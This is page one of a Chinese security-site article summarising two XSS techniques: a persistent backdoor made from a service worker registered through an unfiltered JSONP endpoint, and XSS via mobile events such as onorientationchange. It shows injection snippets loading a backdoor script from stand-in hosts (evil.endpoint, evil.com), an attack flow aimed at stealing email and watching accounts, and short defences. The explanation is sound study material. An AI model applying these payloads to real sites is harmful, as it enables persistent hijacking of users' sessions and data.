欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

新型XSS总结两则

来源:本站整理 作者:佚名 时间:2016-07-02 TAG: 我要投稿

近期看到了两种XSS攻击手法:一种是利用JSONP和serviceWorkers的持久性XSS,一种是移动设备中的XSS,学习后总结一下,同时也请高手多多指点。
0x01 基于JSONP和serviceWorkers的持久性XSS
对于Web攻击者来说,通常都渴望在未知用户浏览器具体类型的情况下,仍然能够顺利通过它来访问网站。甚至在浏览器被关闭,再次访问时要挂钩的回话也没有了的情况下,依旧可以访问网站,那该多好啊!实际上,这不仅是说说而已,如果联合利用未被过滤的JSONP路由、serviceWorkers和XSS的话,完全可以为网站打造一个持久性后门。
1 ServiceWorker简介
ServiceWorkers是一种较为新颖的web技术,它可以用来拦截web请求。实际上,这种技术本意在于实现网站的离线运行。ServiceWorkers可用于拦截web请求,并返回一个缓存版本,这样的话即使在离线的状态下,网站仍然处于可用状态。。
关于ServiceWorkers的具体介绍,请参考https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers页面。
说到底,就是写一个脚本,拦截用到onfetch处理程序的web请求,然后检查是否具有相应的内容。如果有的话,将这些内容返回,否则的话,建立相应的web请求,并将返回的内容缓存起来。

2 ServiceWorkers的滥用
实际上,在ServiceWorkers的帮助下,我们是可以返回任意内容的。
例如:
this.addEventListener('fetch', function(event) {
   event.respondWith(new Response("
 Intercepted!
"));
});
这种能力有可能被攻击者滥用。想象一下,如果你请求了一项内容,然后将它修改之后再返回,后果会怎么样?
html>
body>
.....
 
script src="https://evil.endpoint/backdoor.js //---- Parse and inject arbitrary script here without the user knowing
 
body>
 
html>
这样以来,你就可以在每个请求后面追加上自己的脚本,但是用户却毫无察觉。也就是说,所有经过缓存层的内容都已经过了某种过滤。
3 JSONP终点
当然,ServiceWorkers自身也有一定的局限性,即只能安装到与请求资源相同的域中。
这就意味着,要将一个serviceWorker安装到c0nrad.io的话,需要像下面这样来注册该serviceWorker:

navigator.serviceWorker.register('https://c0nrad.io/backGroundScript.js')
但,请不要忘了:未经过滤的JSONP终点(endpoint)!JSONP表示带有填充的JSON,不过JSONP通常都要用到一个查询参数,并将javascript数据打包到一个函数中。
/jsonp?callback=myAwesomeFunction returns:
 
var calculatedDataOrSomething = { "hello": 1 }; myAwesomeFunction(1);`
这不仅给开发人员带来了便利,同时也给绕过SOP打开了方便之门:你可以从一个远程域而非JSON来下载javascript。
如果该JSONP未经过滤的话,你就能够返回任意的javascript代码了。
下面进行举例说明:

"/jsonp?callback=(code that waits for fetch, and inserts evil.com/backdoor.js"> into each web request)">
之后,如果你将该service worker注册为使用这个JSONP终点的话,serviceWorker工厂自然没意见。
4 完整的攻击流程
创建最终的有效载荷(窃取电子邮件、监视网络账户等)
使用JSONP启动有效载荷
利用XSS将有效载荷注入受害者机器
获取持久性访问权限具体案例
攻击者通常利用这种手法维护持久性的访问权限,以及抓取信息。最受青睐的攻击目标通常是电子邮件、社交媒体以及私人公司网站。所有正常用户所能够做的事情,攻击者也照样能够享有同样的权限。
当然这种攻击手段也可用于攻击银行,不过如果你已经进行了XSS的,通常就不必使用这种攻击手法了。这种手法通常只是用来实现持久性。
5 防御对策
过滤JSONP终点。只允许数字字母、句号和破折号。
消除XSS漏洞。
0x03 移动设备中的XSS
由于主流浏览器的移动版与桌面版非常类似,所以,通常所有HTML5中的东西都可以很好地运行在这些移动浏览器中。不过,也有些东西是这些平台所特有的,部分正好可以用来发动XSS攻击。首先,让我们来了解一下HTML事件处理程序。
当移动设备的屏幕模式在横屏与竖屏之间切换时,就会引发文档主体中的orientationchange事件。

body onorientationchange=alert(orientation)>
它会显示屏幕切换后的旋转度数。
但是对于移动设备来说,最主要的还是触摸事件,这些事件几乎接受任意类型的标签,例如鼠标事件等。但是,当利用来触发它们时,一个重要的区别在于它会覆盖整个浏览器屏幕。虽然该标签也可以用于鼠标事件,但是每当鼠标移动时它就会频繁触发该事件,这一点非常让人头疼。

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载